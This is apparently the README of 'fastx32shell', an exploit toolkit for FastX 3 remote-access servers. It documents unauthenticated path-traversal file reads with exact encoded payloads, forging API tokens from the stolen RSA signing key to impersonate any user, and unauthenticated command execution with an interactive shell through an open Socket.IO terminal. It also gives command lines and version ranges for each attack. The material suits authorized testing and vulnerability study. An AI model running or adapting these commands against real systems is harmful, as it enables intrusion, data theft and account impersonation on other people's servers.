Replay tooling for FastX 3 flaws: unauthenticated path-traversal file read, RSA token forgery, Socket.IO command execution, and build-string version scanning.
Replay tooling for three FastX 3 issues. The file read and the token forgery it enables are CVE-2025-57618 (FastX 3 ≤ 3.3.69); the web-terminal command execution is a separate issue, live through 3.1.27.
Read-only by default. Each tool runs one request (or one command) per invocation and does not write to the target.
The per-version summary is under Version notes.
| Tool | Issue | Default action |
|---|---|---|
fastx32shell read | unauthenticated arbitrary file read via /error/assets/:myfile | reads one path |
fastx32shell forge | API token forgery once the signing key is obtained | writes a token locally |
fastx32shell rce | unauthenticated command execution via the /gritty Socket.IO namespace | runs id once, or an interactive shell |
fastx32shell scan | none — decides from the build string alone | reports which issues a build carries |
Exit codes are shared across the tools, so a wrapper can branch on them:
| Code | Meaning |
|---|---|
0 | the tool did what it was asked |
1 | the surface answered but read nothing (fastx32shell read) |
2 | namespace reached but auth is enforced (fastx32shell rce) |
3 | surface absent or disabled (fastx32shell rce) |
4 | transport error, or accepted with no output (fastx32shell rce); every host was a transport error (fastx32shell scan) |
64 | usage error |
fastx32shell scan reuses 1, 2 and 4 for its own meanings: 1 is "at least
one host was flagged", the reverse of fastx32shell read's "the surface answered but
read nothing", 2 is "no input yielded a build string", and 4 is "every
host was a transport error". In every tool the
number means the interesting thing happened, which is the property a wrapper
should branch on.
/error/assets/:myfile resolves the route parameter against the asset directory
with no validation, so any path the process can read is returned to a client that
never authenticates.
Scope. Vulnerable from 3.0.32 through 3.3.69; fixed in 3.3.71 by a hardcoded filename allowlist. NVD's "thru 3.3.67" understates the range: 3.3.69 has no allowlist.
# does the route read files at all?
fastx32shell read --base https://fastx.example.com --check
# read specific paths
fastx32shell read --base https://fastx.example.com \
--file /etc/passwd --file /etc/hostname --outdir ./loot
# pick a form explicitly (see below)
fastx32shell read --base https://fastx.example.com \
--form relative --depth 9 --file /etc/passwd
Two request forms are supported because deployments differ:
/error/assets/%2fetc%2fpasswd. The leading slash is
percent-encoded, so the parameter is an absolute path and the asset prefix is
discarded. Contains no dot segments, so reverse proxies that normalise or
reject ../ do not interfere./error/assets/..%2f..%2f..%2fetc%2fpasswd. Depends on the
install layout for its depth and can be answered with 400 by a front end
before the request reaches the application.--form auto (the default) tries absolute, then relative at depths 9–12, and
stops at the first form that returns a body. A 200 with an empty body is the
handler's "not found" path — it is not a successful read, and the tool will not
report it as one. The 3.3.71 allowlist also rejects by returning an empty 200,
so a patched instance is indistinguishable from an absent route by status alone;
the empty-body check is what keeps the tool from reporting a patched server as
vulnerable. In practice the absolute form is the one that works — it carries
no dot segments, so this is CWE-36 (absolute path traversal), not the CWE-24
(../) the CVE records.
The file read above returns the RSA signing key from the config directory; this is the step that turns disclosure into impersonation. Given the signing key and the issuer value from the target, any account on the host can be impersonated:
fastx32shell forge -k private.pem -s serverId.txt -u someuser -o /tmp/tok.jwt
The token is written 0600 and is not echoed unless you pass -p. The tool
refuses to write into a directory whose path contains evidence, findings or
poc, so a bearer token does not end up in collected output.
x-fastx-token: <jwt> or Cookie: fx3-token=<jwt>
Affected builds expose a web terminal over a Socket.IO namespace with no auth
callback. The library treats a missing auth handler as "admit everyone", and its
terminal event handler prefers the client's command over the configured one:
gritty.listen(socket, { autoRestart: true }); // no auth option
// later, in the library's connection handler:
const command = overrides.command || options.command || getCMD({platform});
pty.spawn(...stringArgv(command), { cwd, env: {...process.env, ...env} });
The configured login script is never reached, and the child runs as the account that owns the FastX service.
Version scope — read this before pointing the tool at anything.
| Builds | Result | Why |
|---|---|---|
| 3.0.41 – 3.1.27 | exploitable | terminal in www/server, io.listen(app.server) binds the namespace to the public web port, no auth option |
| 3.2.27 – 3.3.71 | not exploitable | terminal moved to the loopback-only user-link process; socketIo() is handed an undefined server and mounts nothing; gritty module not shipped |
| 3.0.32 and earlier | not present | no terminal in the build at all |
| FastX 4 / 5 | not present | subsystem removed |
The FastX service account is in the root group. Against 3.2.27+
--base https://host:3300 is the wrong target shape anyway: the namespace isn't on the public port, so exit 3 there is
correct, not a tool failure.
This range was broken by accident, not fixed: socketIo(app.server) where
app.server is undefined is a latent bug, and a maintainer repairing the broken
terminal without adding an auth option would reintroduce the RCE.
# does the namespace admit an unauthenticated client?
fastx32shell rce --base https://fastx.example.com --dry-run
# run one command
fastx32shell rce --base https://fastx.example.com --cmd 'id'
# keep a shell open and use it
fastx32shell rce --base https://fastx.example.com -i
printf 'id; ls /tmp\n' | fastx32shell rce --base https://fastx.example.com -i
The command string is split into argv by the target, so shell metacharacters are
passed literally rather than interpreted. If you need a shell, ask for one
explicitly — which is what -i does: it sends one terminal event naming
--cmd (default bash) and then forwards each typed line as a data event,
printing pty output as it arrives. Because the pty stays alive, cd, variables
and pipes behave normally across lines; a one-shot --cmd starts from scratch
every run.